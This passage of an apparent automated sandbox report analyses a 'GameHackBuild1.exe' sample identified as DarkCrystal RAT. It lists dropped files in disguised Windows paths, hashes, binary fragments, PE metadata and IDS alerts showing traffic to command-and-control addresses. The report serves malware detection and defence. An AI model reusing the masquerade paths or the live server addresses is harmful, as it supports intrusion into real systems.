Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\syFrxmlp.log

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\wowiEjmi.log

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.41854385721431
Encrypted:	false
SSDEEP:	384:8Np+VQupukpNURNzOLn7TcZ64vTUbqryealcpA2:bPpu0NyzOL0ZJ4bavae
MD5:	BBDE7073BAAC996447F749992D65FFBA
SHA1:	2DA17B715689186ABEE25419A59C280800F7EDDE
SHA-256:	1FAE639DF1C497A54C9F42A8366EDAE3C0A6FEB4EB917ECAD9323EF8D87393E8
SHA-512:	0EBDDE3A13E3D27E4FFDAF162382D463D8F7E7492B7F5C52D3050ECA3E6BD7A58353E8EC49524A9601CDF8AAC18531F77C2CC6F50097D47BE55DB17A387621DF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)..d...........!.....N...........l... ........@.. ..............................R.....@..................................l..O.................................................................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................l......H........L..............lL..H....................................................................................................................................................................lsx)T.,.....h.)................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Windows\Cursors\OfficeClickToRun.exe

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	569844
Entropy (8bit):	7.487969174812562
Encrypted:	false
SSDEEP:	12288:7GBfAoq+6b7AaSxWtkmtoIg132s/q3DMJGk58qgd/t:7mApDuWAt2F3xwk9t
MD5:	00C4245522082B7F87721F9A26E96BA4
SHA1:	993A8AA88436B6C62B74BB399C09B8D45D9FB85B
SHA-256:	A728F531427D89C5B7691F989E886DF57D46F90D934448E6DABF29D64D0662BF
SHA-512:	FDD8D2444B28883FACE793F6EA77913C2096A425E6101202536EA001C3DF5E76A60A01673EE7A52EAE827A12299B2727002895395315DB190EC82AE11A68559F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ@.....................................!..L.!It's .NET EXE$@...PE..L....&.M............................^.... ...@....@.. ....................................@.....................................O....@.. ....................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B...........................................................................v2.19@.......H.......d&...............................................................0............%..,....i-....+...........%..,....i-.....+...................XGR......8.........%.X.XG..........-.....c.........XG.b.X.......8....... ...._ .............:]........XJ..........-....c....X... ...._... .............-@....c....._..........-....X... ...._ ....X....a...+....._.X...+}....c....._....E............%...;...+V...?_.X..+K..X... ...._.AX....a..+3.. .?.._ A...X....X.+....XX... ...._ AD..X.

C:\Windows\Cursors\e6c9b481da804f

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	194
Entropy (8bit):	5.734228904570716
Encrypted:	false
SSDEEP:	6:OAlBATdOwFPU7RbVU5WMfX9mLpjTfmq2NH:OY23hU7RZ+8VjTf6H
MD5:	8D697F099B56FD1FA1B76AA3E9C7C8FA
SHA1:	A3230ABB393A92451B8449D1AC55EA3994E75064
SHA-256:	DB8D97DE663C409C5C0320885E5311CB34D8D1DA1145A8B0D8F5E49B2F07B439
SHA-512:	4E0140A8FA95E590C21C7D790F2BD5C84AAD04F750A170EE75182806E2EFBADC0DB956FA61855F1C46AAF741A30E756C3426383F9E0DB542970E7C96AC96C6B4
Malicious:	false
Preview:	X3R8W9KPJgHmPNsUpCKevxSEKx3DXjcgBMwqt5SJByskgQmawnPOADZjkNyjFH1jElkCbBlttAd6Fsh4KdRtTOg8wMFgHsD46Ig5pk8uCge9kcd2p3ZmzIQzEmPO6ElA7i97LmOkehrwthXUtM0NTbEy2q0CUux75eBBcgqDpyHSadGhO5fuOXqfeLEfvMQutu

C:\Windows\L2Schemas\SSblKNNQege.exe

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1383424
Entropy (8bit):	7.10154063680082
Encrypted:	false
SSDEEP:	24576:CwTyrxj57zKlIDSDZwPcd9Gm6M1e8QyDVeJl7CQC3fZeru6hSCj:DTyr7ulSPsGq3xVeJNFsZeru6hS
MD5:	52C95032FF8B8C3D4DFD98E51D8F6F58
SHA1:	E841A32CB07ADAAD4DB35B1F87B5DF6E019EB9AF
SHA-256:	39B35293E7EFAA4CB94028E59872013BEF4065788FEF9FE3CD3206A8AEE711E4
SHA-512:	A1177740FFBB476FB11F8112D98CABE3012EE3D54F2F848BB22EA99B53BD3526BF59065951FB6EF29F29408AB2FD90C942DE65FE16D66A098ABCE8BA5D7D4E00
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\L2Schemas\f2aefc5695405c

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	185
Entropy (8bit):	5.719921347724473
Encrypted:	false
SSDEEP:	3:djf1VxkzUX9VXIv0yG6LbLr0B4Y45Qxg4pKe73qLuScMkTGCLTtuGrn:DVxk4X9dIv0yG6LQTKWaKS4/LTk8n
MD5:	8C292B4E0E897DAD885AF84F6422E931
SHA1:	E22614AEE4B75CA03305421D538A3821125F7A86
SHA-256:	2FE9FD5D1C79D8CE54738158045CE605C9D0A58793A4C34DB216F5B25E7199CA
SHA-512:	8E897C962B5E389FBCA81F1889640015C47658A9D24643F70D023370EAB868F944CC97ABA77CE3D77777403CCA1FCE7D094AA439F954B3ED0496A3F790414994
Malicious:	false
Preview:	umPOwcEHtzPp53YQ1K36Iw180Iy0lMYdyumJzEPybhze2Gc0upDoenC8uQYnoOfhbw0KRPax4Ffk6XFtp7F6It8LsoZiqmKNCSDGPSjfOQtZHcBXLo7rIiYsxpcm01GS5ShnU9eXXkr29jDQmCXCocEe4USj06pWJbez4YCLJjTi1fsOlLAyeEocN

C:\Windows\SoftwareDistribution\Download\9dbde960dbff0b004ef17a0616c3a8ef\9e8d7a4ca61bd9

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	ASCII text, with very long lines (911), with no line terminators
Category:	dropped
Size (bytes):	911
Entropy (8bit):	5.916577252045065
Encrypted:	false
SSDEEP:	12:BobB+o9ftwf8PZ+IEDbovenk0gjEJc0+ycNLlxW6WsmmI+vv6h10ummu4dAj5fnX:OvlVPZhKbseBgB0Wyo6LbmGdAVnM6Pz
MD5:	EC60BEB529476271D8B66AE2E3D2E678
SHA1:	7CE757448F770C49B54364D6F8E54C0BC41889C3
SHA-256:	8DBC1745D6D06D009380BFA2D37A55C1CA0B0E6F652F8ABA4BD9BC82E1A7AF9D
SHA-512:	F3C4DB93AA8BD3D774189A1CEEAB54F7244C0132ABA0CA0319C85F782140244C418EF24D28C3D855EF4EB075279BF4414EDBD364547054454FC2FA0B18F1A6B3
Malicious:	false
Preview:	XYqAGzPLarW8lyR6XtfJhEJVJanNfKwvZdrYbAhLXvS71ADQF7MC7RXSPV0pLCpQ5liHH3eWMUvvvLdJXWIh7txIGYJGK19VGCBQb6JMd00mflhD1rSz4HSMxZAstXMVVaptKNsbM5EH2Knf1GOciJb8tycB5bcFnfRF5x2n91m8DLUmwf0nIuwL8r9Vuqfvd8eX3ijDNldrhd4ie0Paky63tGGOyg3SW1eFr7tO5xahQEofwa14bELpBknwbUOqrKVp8z1hGBfwYYmockbYp91RpzDGT7wkit0Gt8g7iTxajYRm89U130AsSDAJwvOJO4Ooig4eEezWLbsQhaITn5rstHxq7WKxFnLpKnEbEzwYAog1UtmWm4gTMg4btOgrTCRiQDG4WqPxITrFk6VOuyKKG2cosns0TFE8X8lRnr96ptK3yz0w2R6f1GbXkcMs8YdCOsslVDlDyOfXrjz2w58CJjGQhNrKfR7QQIoGHObyq3qnkDqBnT6Cab3plbDHWahhQPHj4tvidJVQ2dpegphMU5zyO8eqKTbPVIXV6HG3iYjRFnxIvjlr3VMVZSU6PEXJrG4tGUhZino6VitkLV4lsuW96B5owKodAZj9sDCbBLIPrQ90itu3Kwb7u5xEY3nY8L569u2ITdjhmGSqCEFCZvSO8mPxP7CIhuQgUC1y1mkqM3VnmHBTxl8N2q8WeE2VaaA1zvVANRKxLlCERlKI6sU6vDonDfTxtOPw3dx1vBGgaLCQo4F33uZsGEGwHs6s7XD6VQLyxTW4mxfkAX8JZa39yhpzWBuDEYiDHG4YsRFkYeFSjgvttwShdEHykWbwjTzNObc4djbIUSlUbXPzPATRFBjD8GyVzTBEp2DHE1QJVKMLdxWMGlgi9hIN1Y5WvFSBRgpjUIv

C:\Windows\SoftwareDistribution\Download\9dbde960dbff0b004ef17a0616c3a8ef\RuntimeBroker.exe

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1383424
Entropy (8bit):	7.10154063680082
Encrypted:	false
SSDEEP:	24576:CwTyrxj57zKlIDSDZwPcd9Gm6M1e8QyDVeJl7CQC3fZeru6hSCj:DTyr7ulSPsGq3xVeJNFsZeru6hS
MD5:	52C95032FF8B8C3D4DFD98E51D8F6F58
SHA1:	E841A32CB07ADAAD4DB35B1F87B5DF6E019EB9AF
SHA-256:	39B35293E7EFAA4CB94028E59872013BEF4065788FEF9FE3CD3206A8AEE711E4
SHA-512:	A1177740FFBB476FB11F8112D98CABE3012EE3D54F2F848BB22EA99B53BD3526BF59065951FB6EF29F29408AB2FD90C942DE65FE16D66A098ABCE8BA5D7D4E00
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\security\database\SSblKNNQege.exe

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	569844
Entropy (8bit):	7.487969174812562
Encrypted:	false
SSDEEP:	12288:7GBfAoq+6b7AaSxWtkmtoIg132s/q3DMJGk58qgd/t:7mApDuWAt2F3xwk9t
MD5:	00C4245522082B7F87721F9A26E96BA4
SHA1:	993A8AA88436B6C62B74BB399C09B8D45D9FB85B
SHA-256:	A728F531427D89C5B7691F989E886DF57D46F90D934448E6DABF29D64D0662BF
SHA-512:	FDD8D2444B28883FACE793F6EA77913C2096A425E6101202536EA001C3DF5E76A60A01673EE7A52EAE827A12299B2727002895395315DB190EC82AE11A68559F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ@.....................................!..L.!It's .NET EXE$@...PE..L....&.M............................^.... ...@....@.. ....................................@.....................................O....@.. ....................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B...........................................................................v2.19@.......H.......d&...............................................................0............%..,....i-....+...........%..,....i-.....+...................XGR......8.........%.X.XG..........-.....c.........XG.b.X.......8....... ...._ .............:]........XJ..........-....c....X... ...._... .............-@....c....._..........-....X... ...._ ....X....a...+....._.X...+}....c....._....E............%...;...+V...?_.X..+K..X... ...._.AX....a..+3.. .?.._ A...X....X.+....XX... ...._ AD..X.

C:\Windows\security\database\f2aefc5695405c

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	ASCII text, with very long lines (440), with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.859005061223187
Encrypted:	false
SSDEEP:	12:PQH1tRtBj7hx2JVzsv7wUpIdeOkDtwKhEFBIPY/:PQH1tRP6J+vDI0d5w6EFBB
MD5:	885E79C945517241586C41D52FECE802
SHA1:	D5E0D06AA510679E1BA7499E1AEDFC04F9DEAAB3
SHA-256:	BB311682C30A9009735133CF146CC2A74DFA99DD41CF6E852F5C64480FAD0853
SHA-512:	F7B080A723990A9331614D980A3EDEE553DD61855F2A6E338DEDF65E28D55097ECF21B23371DD5F144FBC0C48FA04856A2E6A37CB09BB64A7B50B7A1A3814DC1
Malicious:	false
Preview:	5XGeDHKshHE3UzhoRROjiY8XCEG2b217YFcbqdS9g4wKKrIJpZrGb62hZsb8ARRoQHeOWF7x8OCnmxNV67MCLugbN5C8CT8OnH4DM4wkb3IN3O4lfGCDFOdgkDAaC9voPxAf3KIBKmkRmSh8Bbc6R5JYnXcJ3VhbId7FOZsU7B3coM4SfCZlhzXUol1fs8HyEIJIVculsI8PBqubdKo1564TFnbmhNl93EYfDv6DRx2Y0HS71ZBiTQ2IN0DsAHEfg9W7SOYsNlkIDgc7UdvHLDpmLPSMsOCJtW21vVpmBSVsquFrXFXgW6UcUtvD6LA9iaYqnlM9yIG2s66bJlzm0fwxCZhBjlqzSVJPWYDw3XrNzbuXxU3VWYIDnloODKaNcQkWxqFvhCscxj7loKOPsVd4MGlvtzst7evi0XjGPHxTpqPEnDj35KeG

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.994548666910272
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	GameHackBuild1.exe.bin.exe
File size:	9'469'375 bytes
MD5:	35a0fbec2fc6d2a550a569719406d58d
SHA1:	bc73001a0600313803d3594dc51d3d0813dbdec1
SHA256:	221ec8caee4804b4c9e4ced2e1f03be897bc1993d7898b2bdc00f90a093eb87d
SHA512:	2f4d71eaa62dded749f82660fd7ee90da422048459d63faa79f518c3c10b7343c482e95cf81cea6bfb4710ef07f53d2d7f835dd3f191029da38da2e9a7beb00f
SSDEEP:	196608:uGk5oFaEPX2GgYCCUDQ4yA8/vWOCFidWo+QOovFFoJXz0Bt99OGvFLuyAjA9UCo:9k5/EP2Gac4yHndWo+bodFgXz29OGNps
TLSH:	FF963302EEC854B2C8712F7A52699F9426363D001F61FEDFB3945A8DE8702D0D978F66
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...*...._......._..'...._f.'...._..'..

File Icon


Icon Hash:	1515d4d4442f2d2d

Static PE Info

General

Entrypoint:	0x41ec40
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x5FC684D7 [Tue Dec 1 18:00:55 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	fcf1390e9ce472c7270447fc5c61a0c1

Entrypoint Preview

Instruction
call 00007F4D80BE25D9h
jmp 00007F4D80BE1FEDh
cmp ecx, dword ptr [0043E668h]
jne 00007F4D80BE2165h
ret
jmp 00007F4D80BE275Eh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F4D80BD4EF7h
mov dword ptr [esi], 00435580h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00435588h
mov dword ptr [ecx], 00435580h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 00435568h
push eax
call 00007F4D80BE52FDh
pop ecx
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F4D80BD4E8Eh
push 0043B704h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F4D80BE4A12h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F4D80BE2104h
push 0043B91Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F4D80BE49F5h
int3
jmp 00007F4D80BE6A43h
jmp dword ptr [00433260h]
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push 00421EB0h
push dword ptr fs:[00000000h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[C++] VS2015 UPD3.1 build 24215
[EXP] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3c820	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3c854	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x63000	0xdf98	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x71000	0x2268	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3aac0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x35508	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x33000	0x260	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3bdc4	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x310ea	0x31200	c5bf61bbedb6ad471e9dc6266398e965	False	0.583959526081425	data	6.708075396341128	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x33000	0xa612	0xa800	7980b588d5b28128a2f3c36cabe2ce98	False	0.45284598214285715	data	5.221742709250668	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x23728	0x1000	201530c9e56f172adf2473053298d48f	False	0.36767578125	data	3.7088186669877685	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x62000	0x188	0x200	c5d41d8f254f69e567595ab94266cfdc	False	0.4453125	data	3.2982538067961342	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x63000	0xdf98	0xe000	d4fc32bf886ae704fea4f916f9d3a59d	False	0.637451171875	data	6.661378204564432	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x71000	0x2268	0x2400	c7a942b723cb29d9c02f7c611b544b50	False	0.7681206597222222	data	6.5548620101740545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x63644	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x6418c	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x65738	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.47832369942196534
RT_ICON	0x65ca0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.5410649819494585
RT_ICON	0x66548	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.4933368869936034
RT_ICON	0x673f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	English	United States	0.5390070921985816
RT_ICON	0x67858	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	English	United States	0.41393058161350843
RT_ICON	0x68900	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	English	United States	0.3479253112033195
RT_ICON	0x6aea8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9809269502193401
RT_DIALOG	0x6ec1c	0x286	data	English	United States	0.5092879256965944
RT_DIALOG	0x6eea4	0x13a	data	English	United States	0.60828025477707
RT_DIALOG	0x6efe0	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0x6f0cc	0x12e	data	English	United States	0.5927152317880795
RT_DIALOG	0x6f1fc	0x338	data	English	United States	0.45145631067961167
RT_DIALOG	0x6f534	0x252	data	English	United States	0.5757575757575758
RT_STRING	0x6f788	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x6f96c	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x6fb38	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x6fcf0	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x6fe38	0x446	data	English	United States	0.340036563071298
RT_STRING	0x70280	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x703e8	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x7053c	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x70648	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x70704	0xd6	data	English	United States	0.5747663551401869
RT_GROUP_ICON	0x707dc	0x68	data	English	United States	0.7019230769230769
RT_MANIFEST	0x70844	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.39786666666666665

Imports

DLL

Import

KERNEL32.dll

GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, DecodePointer

gdiplus.dll

GdiplusShutdown, GdiplusStartup, GdipCreateHBITMAPFromBitmap, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromStream, GdipDisposeImage, GdipCloneImage, GdipFree, GdipAlloc

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T13:35:58.469462+0100	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.7	49853	37.44.238.250	80	TCP
2025-01-13T13:36:13.751539+0100	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.7	49907	37.44.238.250	80	TCP
2025-01-13T13:36:23.086316+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.7	49956	37.44.238.250	80	TCP
2025-01-13T13:36:34.528892+0100	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.7	50015	37.44.238.250	80	TCP
2025-01-13T13:37:23.993180+0100	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.7	50039	37.44.238.250	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 13:35:21.600064993 CET	49702	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:35:21.604962111 CET	25350	49702	185.37.62.158	192.168.2.7
Jan 13, 2025 13:35:21.605140924 CET	49702	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:35:21.624763966 CET	49702	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:35:21.629697084 CET	25350	49702	185.37.62.158	192.168.2.7
Jan 13, 2025 13:35:42.995593071 CET	25350	49702	185.37.62.158	192.168.2.7
Jan 13, 2025 13:35:42.995867014 CET	49702	25350	192.168.2.7	185.37.62.158
